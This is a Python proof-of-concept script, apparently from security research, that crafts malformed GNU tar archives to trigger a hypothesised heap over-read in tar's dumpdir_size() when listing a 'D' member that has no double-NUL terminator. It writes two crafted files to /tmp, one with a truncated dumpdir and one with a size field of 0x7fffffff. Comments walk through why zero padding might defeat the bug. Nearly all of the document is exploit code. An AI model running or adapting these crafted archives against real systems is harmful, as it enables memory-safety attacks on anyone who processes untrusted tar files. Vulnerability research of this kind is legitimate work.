#!/usr/bin/env python3
# GNU tar dumpdir_size() over-read PoC attempt
# Hypothesis (from 2026-10 audit): dumpdir_size() walks NUL-separated
# strings until double-NUL WITHOUT knowing buffer size. A typeflag 'D'
# member whose data lacks the double-NUL terminator -> heap over-read
# when -tvvv lists the dumpdir (list_dumpdir -> dumpdir_size).
import struct, sys

def hdr(name, size, typeflag, magic=b'ustar\x00', ver=b'00', uname=b'', gname=b'', mode=0o644, uid=0, gid=0, mtime=0):
    h = bytearray(512)
    h[0:len(name)] = name
    h[100:108] = b'%07o\x00' % mode
    h[108:116] = b'%07o\x00' % uid
    h[116:124] = b'%07o\x00' % gid
    h[124:136] = b'%011o\x00' % size
    h[136:148] = b'%011o\x00' % mtime
    h[148:156] = b' '*8            # dummy checksum
    h[156] = ord(typeflag)
    h[257:263] = magic
    h[263:265] = ver
    # uname/gname
    h[265:265+len(uname)] = uname
    h[297:297+len(gname)] = gname
    # checksum: sum of header bytes with checksum field = spaces
    chk = sum(h)
    h[148:156] = b'%06o\x00 ' % chk
    return bytes(h)

TRAILER = hdr(b'', 0, '0')

# member 1: dumpdir entry 'D' with NO double-NUL: entries separated by single NULs
# dumpdir format: for -g dumpdir content is like "d\x00entry\x00-...\x00\x00"
# Actual format per tar docs: sequences: D entry names / presence markers
data = b'/\x00d1\x00-\x00'      # no trailing double-NUL, no padding to 512?
# pad data to 512 multiple
pad = (-len(data)) % 512
data_padded = data + b'\x00'*pad  # NOTE: padding zeros WOULD form double-NUL...
# To avoid accidental terminator, keep data exactly size bytes with last byte non-NUL
size = len(data)
# Instead: declare size = 9 (data len), but pad region belongs to next member start.
m1 = hdr(b'dumpdir1', size, 'D') + data  # no padding: next header starts right after? tar blocks to 512.
# tar blocks records to 512: we must pad to 512 boundary for the archive structure,
# but the PARSER reads size bytes of data then skips to next 512 boundary.
# The over-read hypothesis: dumpdir_size reads past 'size' into padding/next blocks.
m1_padded = m1 + b'\x00' * ((-size) % 512)
# If padding is zeros, after data "/\x00d1\x00-\x00" comes \x00\x00... = double-NUL found immediately. No over-read.
# => to over-read, data must END without NUL and following bytes must never have two consecutive NULs.
#    But tar pads with zeros -> double NUL always present in padding.
# UNLESS: size field itself is the ONLY thing parsed... check: tar reads size bytes into
# allocated buffer of exactly size+1? Then over-read is within tar's own heap block -> ASAN redzone.
# Try: data ending in non-NUL, size not multiple of 512, padding zeros create NUL,NUL at data-end boundary only if last data byte is NUL. If last byte non-NUL: data(last)=non-NUL, pad0=\x00, pad1=\x00 -> double-NUL at pad[0:2]! Still terminates.
# => over-read requires the buffer tar hands to dumpdir_size to be EXACTLY size bytes (heap),
#    so walking past end hits heap redzone even if archive padding has the terminator.
data2 = b'/\x00d1\x00-'         # ends with '-', single-NUL separated, no terminator
size2 = len(data2)
m1b = hdr(b'dumpdir1', size2, 'D') + data2 + b'\x00'*((-size2)%512)
# member 2: normal file AFTER the dumpdir, to make archive valid-ish
m2 = hdr(b'after.txt', 4, '0') + b'AAAA' + b'\x00'*508
# member 3: all NON-NUL 1024 bytes to feed over-read with junk (if it walks far)
m3 = hdr(b'junk', 1024, '0') + b'B'*1024 + b'\x00'*0
# note m3 data 'B'*1024 length 1024 = 2 blocks exactly
tar = m1b + m2 + m3 + TRAILER + b'\x00'*1024
open('/tmp/dumpdir_overread.tar','wb').write(tar)
print('wrote /tmp/dumpdir_overread.tar', len(tar), 'bytes; member1 size', size2)

# Variant B: huge size field claiming more than actual data (size=0x7fffffff)
mB = hdr(b'dumpdirB', 0x7fffffff, 'D') + b'/\x00d1\x00-' + b'\x00'*503
tarB = mB + TRAILER + b'\x00'*1024
open('/tmp/dumpdir_hugesize.tar','wb').write(tarB)
print('wrote variant B')
